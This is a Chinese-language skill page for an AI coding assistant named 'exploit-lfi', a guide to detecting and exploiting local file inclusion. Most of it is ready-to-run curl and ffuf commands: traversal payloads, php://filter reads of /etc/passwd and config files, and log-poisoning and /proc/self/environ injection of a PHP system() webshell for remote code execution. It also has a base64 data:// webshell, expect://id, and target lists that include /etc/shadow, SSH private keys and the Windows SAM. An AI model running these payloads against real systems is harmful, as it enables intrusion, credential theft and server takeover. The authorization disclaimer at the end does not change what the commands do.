一键导入
exploit-lfi
本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf 等工具测试 LFI 漏洞,支持路径遍历、PHP 伪协议利用、日志投毒 RCE、敏感文件读取。当用户需要检测 LFI 漏洞、利用文件包含漏洞读取服务器文件时使用此技能。
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
菜单
本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf 等工具测试 LFI 漏洞,支持路径遍历、PHP 伪协议利用、日志投毒 RCE、敏感文件读取。当用户需要检测 LFI 漏洞、利用文件包含漏洞读取服务器文件时使用此技能。
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
Linux 应急响应专用技能。Use when users provide SSH connection fields (hostname, port, username, password) and need guided intrusion triage, evidence-oriented command execution, per-command analysis, threat grading, and actionable containment/remediation recommendations.
整合WooYun(88,636案例)+先知L1-L4方法论+GAARM(150风险)的Web和AI安全测试知识库。 当用户进行以下活动时触发: 漏洞挖掘、渗透测试、安全审计、代码审计、AI安全测试、 Prompt注入测试、越狱测试、MCP安全评估、LLM应用安全评估。
任意文件下载与本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf、wget 等工具测试文件下载漏洞,支持路径遍历、双重编码绕过、伪协议利用、敏感文件读取。尤其适用于下载接口、LFI、/etc/passwd、/proc/self/environ、win.ini、php://filter 这类文件读取与遍历场景。
WooYun-derived business-logic testing methodology for web apps and APIs. Use when the request involves 支付、退款、订单、越权、认证、授权、价格篡改或业务流程绕过 review, especially black-box probing for price tampering, account takeover, and process bypass flaws.
零界AI社交网络比赛助手 - 帮助参赛者快速接入平台API、理解四大挑战赛题、制定策略并提交Flag。适用于"零界"AI论坛比赛的参赛选手,提供完整的API调用封装、挑战任务策略和最佳实践指导。
Attack and enumerate Active Directory environments using Kerberos attacks (Kerberoasting, ASREPRoasting), credential dumping (DCSync, Mimikatz), lateral movement (PtH, PtT), and BloodHound analysis. Use when pentesting Windows domains or exploiting AD misconfigurations.
| name | exploit-lfi |
| description | 本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf 等工具测试 LFI 漏洞,支持路径遍历、PHP 伪协议利用、日志投毒 RCE、敏感文件读取。当用户需要检测 LFI 漏洞、利用文件包含漏洞读取服务器文件时使用此技能。 |
本 Skill 专注于本地文件包含 (LFI) 类型漏洞的检测与利用。
LFI 漏洞发生在应用程序将用户输入直接用作文件路径或在未正确验证的情况下包含文件时。攻击者可通过路径遍历或伪协议读取敏感文件、执行任意代码。
与 exploit-file-download 的区别:
自动识别以下 LFI 特征:
file、page、include、dir、document、path、content、title等include() 或require() 的文件路径../ 序列用于遍历目录php://filter、php://input、data:、expect:// 等测试时自动识别目标 OS:
| OS | 特征文件 | 测试路径 |
|---|---|---|
| Linux | /etc/passwd 内容:root:x:0:0: | /etc/passwd, /etc/shadow |
| Windows | C:\Windows\win.ini 内容:[fonts], [extensions] | C:\Windows\win.ini, C:\Windows\System32\drivers\etc\hosts |
| 类型 | Payload | 适用场景 |
|---|---|---|
| 路径遍历 | ?title=../../../etc/passwd | 基础目录遍历 |
| 伪协议读取 | ?file=php://filter/convert.base64-encode/resource=/etc/passwd | 读取敏感文件源码 |
| 数据注入 | ?file=data://text/plain;base64,PD9waHAgc3l... | 代码注入 |
| 命令执行 | ?file=expect://ls | RCE(需 expect 扩展) |
php://filter 读取 PHP 源码进行分析# curl - HTTP 请求工具(通常已预装)
# macOS
brew install curl
# Ubuntu/Debian
apt-get install curl
# ffuf - 快速 Web 模糊测试工具
go install github.com/ffuf/ffuf@latest
# 基础 LFI 测试 - 路径遍历
curl -s "https://target.com/page.php?file=../../../etc/passwd"
# 测试伪协议
curl -s "https://target.com/page.php?file=php://filter/convert.base64-encode/resource=/etc/passwd"
# 使用 ffuf 批量测试 LFI payload
ffuf -u "https://target.com/page.php?file=FUZZ" -w lfi_payloads.txt -mc 200
# 测试 1-6 层遍历深度
curl "https://target.com/vul.php?file=../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../etc/passwd"
# 使用 ffuf 自动化测试
ffuf -u "https://target.com/vul.php?file=FUZZetc/passwd" \
-w <(seq 1 10 | sed 's/^/\.\.\//') \
-mc 200 \
-mr "root:x:0:0"
# 读取/etc/passwd
curl -s "https://target.com/vul.php?file=php://filter/convert.base64-encode/resource=/etc/passwd" | base64 -d
# 读取 PHP 源码(避免代码执行)
curl -s "https://target.com/vul.php?file=php://filter/read=convert.base64-encode/resource=config.php" | base64 -d
# 使用不同过滤器
curl "https://target.com/vul.php?file=php://filter/zlib.deflate/convert.base64-encode/resource=index.php"
# 步骤 1: 在 User-Agent 中注入 PHP 代码
curl -A "<?php system(\$_GET['cmd']); ?>" "https://target.com/page.php"
# 步骤 2: 等待日志写入后包含日志文件
curl "https://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami"
# 测试不同日志位置
curl "https://target.com/page.php?file=/var/log/apache2/error.log&cmd=id"
curl "https://target.com/page.php?file=/var/log/nginx/access.log&cmd=uname -a"
# 步骤 1: 在 User-Agent 注入代码
curl -A "<?php system(\$_GET['c']); ?>" "https://target.com/page.php"
# 步骤 2: 包含环境变量文件
curl "https://target.com/page.php?file=/proc/self/environ&c=id"
# 查看当前进程环境
curl "https://target.com/page.php?file=/proc/self/cmdline"
# 上传包含 PHP 代码的图片
curl -F "avatar=@shell.gif.php" "https://target.com/upload.php"
# 快速枚举临时文件
for i in {1..100}; do
curl "https://target.com/vul.php?file=/tmp/php$i";
done
| 场景 | 推荐工具 | 命令示例 |
|---|---|---|
| 快速单点测试 | curl | curl "URL?file=../etc/passwd" |
| 批量 Payload 测试 | ffuf | ffuf -u URL -w payloads.txt |
| 深度测试 | 自定义脚本 | 见下方深度测试脚本 |
| 响应分析 | grep/diff | grep -i "root:x:0" response.txt |
#!/bin/bash
# lfi_depth_test.sh - 测试路径遍历深度
URL="$1"
PARAM="$2"
MAX_DEPTH=${3:-10}
for i in $(seq 1 $MAX_DEPTH); do
payload=$(printf '../%.0s' $(seq 1 $i))
response=$(curl -s "${URL}?${PARAM}=${payload}etc/passwd")
if echo "$response" | grep -q "root:x:0:0"; then
echo "[+] 成功!深度:$i"
echo "$response"
break
fi
echo "[-] 深度 $i: 未匹配"
done
# 系统用户
/etc/passwd
/etc/shadow
/etc/group
/etc/gshadow
/etc/sudoers
# Web 配置
/var/www/html/wp-config.php
/var/www/html/.env
/var/www/html/config/database.yml
/var/www/html/application/config/parameters.yml
# SSH 密钥
/root/.ssh/id_rsa
/home/*/.ssh/id_rsa
/root/.ssh/authorized_keys
# 日志
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/syslog
# 系统配置
C:\Windows\win.ini
C:\Windows\System.ini
C:\Windows\System32\config\SAM
# Web 配置
C:\inetpub\wwwroot\web.config
C:\inetpub\wwwroot\.env
C:\xampp\htdocs\config.php
# IIS 日志
C:\inetpub\logs\LogFiles\
../
../..
../../
../../../
../../../../
../../../../../
../../../../../../
../../../../../../../
../../../../../../../../
..../
....//
..././
..\
..\/
%2e%2e%2f
%2e%2e/
..%2f
%2e%2e%5c
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%c0%ae%c0%ae/
..%c0%af
..%255c
php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=index.php
php://input
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
expect://id
zip://shell.jpg%23shell.php
如果主要工具不可用,可以使用以下替代方案:
| 主要工具 | 替代方案 | 说明 |
|---|---|---|
| curl | wget | wget -qO- "URL" 等同于curl -s "URL" |
| ffuf | gobuster | gobuster dir -u URL -w payloads.txt |
| ffuf | dirsearch | dirsearch -u URL -e php |
references/lfi_techniques.md - LFI 完整技术详解references/php_wrappers.md - PHP wrapper 参考references/bypass_techniques.md - 编码和过滤绕过references/rce_methods.md - 远程代码执行汇总发现 LFI 漏洞后,可以存储到数据库:
python .claude/skills/exploit-lfi/scripts/lfi_storage.py \
--host-ip 192.168.1.100 \
--url "https://example.com/download?file=../../etc/passwd" \
--payload "../../etc/passwd" \
--file-read "root:x:0:0:root:/root:/bin/bash" \
--severity Critical \
--subsystem "Web Application"
数据库位置: ./data/results.db
相关技能: results-storage - 查询数据、生成报告
本 Skill 仅用于授权安全测试。使用前请确保:
未经授权的渗透测试是非法行为。
最后更新: 2026-03-05 版本: 2.0